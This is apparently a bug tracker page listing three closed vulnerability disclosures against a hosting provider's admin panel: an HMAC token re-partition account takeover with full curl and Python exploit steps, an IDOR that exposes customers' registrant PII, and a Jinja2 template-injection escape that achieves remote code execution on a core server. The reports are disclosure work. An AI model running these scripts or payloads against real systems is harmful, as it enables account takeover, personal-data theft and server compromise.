All Projects

ID Status Summary Opened by
 427 Closed Cross-Account Takeover via Token Re-Partition SiddharthSharma Task Description

Severity: Critical (CVSS 9.8)

Vulnerability Summary:

The login token system at admin.alwaysdata.com joins multiple parameter values into a single string without any separator before signing it with HMAC. An attacker can split the same string differently across different parameter names — the signature stays valid, but the user_id now points to a victim's account. The victim's user ID can be discovered unauthenticated via the /user/initialize/ endpoint, which returns 200 for existing users and 302 for non-existing ones, allowing enumeration of all users on the platform. The re-cut absorbs expiration + last_login + attacker's user_id into all_permissions, and extracts reseller_user_id=1 from the leading digit of the attacker-controlled voucher_code (e.g., 1469954 splits into 1 + 469954). The voucher_code parameter is discoverable from signup/referral URLs, and the all_permissions / reseller_user_id parameters were discovered by analyzing the token-based login redirect URL and testing additional parameters — when both are present, the server treats the login as a reseller admin session, granting superuser privileges and bypassing additional authentication checks, so the attacker controls every value in the token verification. The last_login value needed for the re-cut is readable from the profile page's HTML source (data-last-login attribute in DevTools). This allows full account takeover of any user without knowing their password.

Steps To Reproduce:

**Step 1: Login to your own account**

Creates a session cookie in /tmp/c.txt

rm -f /tmp/c.txt
CSRF=$(curl -s -c /tmp/c.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
echo "Step 1 done"

**Step 2: Set last_login in database**

Loads your profile page — this saves last_login = T1 in the database

curl -s -b /tmp/c.txt "https://admin.alwaysdata.com/user/" > /dev/null
echo "Step 2 done"

**Step 3: Trigger password reset**

Sends reset email — unauthenticated, does NOT change last_login. Token in email is signed with T1

CSRF2=$(curl -s -c /tmp/c2.txt "https://admin.alwaysdata.com/password/lost/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b /tmp/c2.txt -X POST "https://admin.alwaysdata.com/password/lost/" -H "Referer: https://admin.alwaysdata.com/password/lost/" --data-urlencode "csrfmiddlewaretoken=$CSRF2" --data-urlencode "email=YOUR_EMAIL" -o /dev/null
echo "Step 3 done: check your email"

**Step 4: Set the reset URL**

Copy the reset link from your email. Add &voucher_code=1VICTIM_PK at the end. The 1 before the victim ID is required.

RESET_URL="PASTE_YOUR_RESET_LINK_HERE&voucher_code=PAST YOUR VOUCHER CODE HERE"

**Step 5: Submit the reset and capture redirect token**

Resets your password and captures the signed redirect. The redirect token is signed with T1.

CSRF3=$(curl -s -c /tmp/c3.txt "$RESET_URL" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
REDIRECT=$(curl -s -D - -b /tmp/c3.txt -X POST "$RESET_URL" -H "Referer: $RESET_URL" --data-urlencode "csrfmiddlewaretoken=$CSRF3" --data-urlencode "password=YOUR_PASSWORD" -o /dev/null | grep -i "^location:" | sed 's/location: //i' | tr -d '\r')
echo "Redirect: $REDIRECT"

**Step 6: Re-login and read T1**

Login again (password was just reset). Then load /user/ — the page shows T1 (the value used for signing).

CSRF4=$(curl -s -c /tmp/c4.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c4.txt -b /tmp/c4.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF4" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
T1=$(curl -s -b /tmp/c4.txt "https://admin.alwaysdata.com/user/" | grep -oP 'data-last-login="\K[^"]+' | sed 's/T/ /')
echo "T1 = $T1"

**Step 7: Build the attack URL**

Rearranges the token parameters so user_id points to the victim

python3 << 'PYEOF'
import urllib.parse, sys

redirect = """PASTE_REDIRECT_VALUE_HERE"""
t1 = """PASTE_T1_VALUE_HERE"""

params = dict(urllib.parse.parse_qsl(redirect.split('?')[1]))
exp = params['expiration']
tok = params['token']
uid = params['user_id']
vid = params['voucher_code'][1:]

ap = exp + t1 + uid
print(f"\nOriginal: {exp + t1 + uid + params['voucher_code']}")
print(f"Re-cut:   {ap + '1' + vid}")
print(f"Match:    {exp + t1 + uid + params['voucher_code'] == ap + '1' + vid}")

url = ('https://admin.alwaysdata.com/login/?user_id=' + vid
       + '&all_permissions=' + urllib.parse.quote(ap)
       + '&reseller_user_id=1&token=' + tok)
print(f"\nOPEN IN BROWSER:\n{url}\n")
PYEOF

**Step 8: Open the URL in your browser**

You are now logged in as the victim

Impact:

Full account takeover of any user on the platform without knowing their email and password.
Access to victim's domains, databases, SSH keys, SSL certificates, emails, billing information, and support tickets.
No victim interaction required — the victim receives no notification of the login.

 423 Closed Broken Object Level Authorization (IDOR) → Mass PII Dis ...SiddharthSharma Task Description

Severity: Critical

CVSS 3.1: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

Affected endpoint: https://admin.alwaysdata.com/domain/add/3/?_field_contact_domain=<ID>

Summary

The domain purchase wizard on admin.alwaysdata.com allows any authenticated free-tier user to retrieve the full registrant identity dossier of any other customer's domain by manipulating the _field_contact_domain GET parameter. The server fetches the victim's registrant record directly from the domain registrar and renders it in the browser.

I tested this against 100 different domain IDs across the platform and every single one returned a different customer's personal data. The vulnerability affects all domains on the platform, exposing the registrant PII of every customer who registered a domain through alwaysdata.

Leaked information:

Phone number, Registrant email address, Firstname, Lastname, Company name, Full Address, Postal code, Fax number, Tax identification number and etc.

Steps to Reproduce

1. Log in to https://admin.alwaysdata.com with any free account
2. Go to https://admin.alwaysdata.com/domain/add/1/ 3. Enter any domain name (e.g. testdomain123.fr), click Next step
4. Check the domain, select Create/register from the dropdown, click Next step
5. You are now on Step 3. Replace the URL with:
https://admin.alwaysdata.com/domain/add/3/?_field_contact_domain=251 6. The form pre-fills with another customer's full registrant identity — name, address, phone, email, SIREN, VAT
7. Change 251 to any other IDs to see different victims.

Each ID returns a different person's complete identity. I verified 100 — all returned PII and it leak all customers data.

Impact:

Any free-tier user can enumerate all domains on the platform and retrieve the full registrant identity of every domain owner — including first name, last name, postal address, phone number, email, company registration number (SIREN) and EU VAT number. I tested 100 domain IDs and every one returned a different real person's complete identity dossier. Critically, even customers who explicitly enabled alwaysdata's WHOIS privacy option ("Hide my details") are exposed. This constitutes a mass disclosure of EU citizens' personal data including national business identifiers, affecting every customer who registered a domain through alwaysdata.

 415 Closed SSTI → RCE on Core Infrastructure Server (overlord-core ...SiddharthSharma Task Description

Severity: Critical Affected Endpoint: https://admin.alwaysdata.com/site/<id>/ — "Additional directives of the virtual host" field

Summary

The Apache virtual host directives field is processed by an unsandboxed Jinja2 template engine on alwaysdata's core management server (overlord-core). The {% raw %} block meant to protect user input can be bypassed with {% endraw %}, allowing arbitrary Python code execution. This grants an attacker full read/write access on the main infrastructure server that manages the entire alwaysdata platform — all from a free hosting account.

Steps to Reproduce

Step 1 — Login to https://admin.alwaysdata.com/ with any account (free plan works)

Step 2 — Go to Web → Sites → click the edit icon on your site

Step 3 — Scroll to "Additional directives of the virtual host" and enter:

# {% endraw %}7_7{% raw %}

Step 4 — Click Submit

Step 5 — SSH into your account:

ssh <account>@ssh-<account>.alwaysdata.net

Step 6 — Read the generated config:

cat ~/admin/config/apache/sites.conf | head -30

Step 7 — Observe # 49 in the output — the server evaluated 7*7 as code (SSTI confirmed)

Step 8 — Go back to site edit, replace the payload with:

# {% endraw %}cycler._init_._globals_.os.popen_id_.read{% raw %}

Step 9 — Submit, then SSH and read the config again. Observe:

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

This is the id command output — RCE confirmed.

Step 10 — Replace payload with:

# {% endraw %}cycler._init_._globals_.os.popen_hostname_.read{% raw %}

Step 11 — Submit, SSH, read config. Observe:

# overlord-core

This is the internal hostname of alwaysdata's core management server.

Proof Summary

Payload Output Proof

7_7 49 SSTI — math evaluated

id uid=33(www-data) RCE — system command executed

hostname overlord-core You're on their core management server

Impact

This vulnerability gives an attacker remote code execution as www-data on overlord-core — the main Django/Python server that manages the entire alwaysdata platform. From this position an attacker can:

- Read/write files on the core infrastructure server
- Access all customer data — the config generator has access to every customer's site configs, environment variables, database credentials, and SSL private keys
- Access internal services — overlord-core sits on the internal network with ders, DNS (PowerDNS), message queues, backup servers, and all 936+ hosting nodes
- Compromise the admin panel — the Django application (Overlord) runs on this same server, giving access to the full application database including all user accounts, billing data, and
support tickets
- Pivot to all hosting servers — from the core server, an attacker can reach every shared hosting node in the fleet

Any user with a free account can exploit this. No special privileges required.

Showing tasks 1 - 3 of 3 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing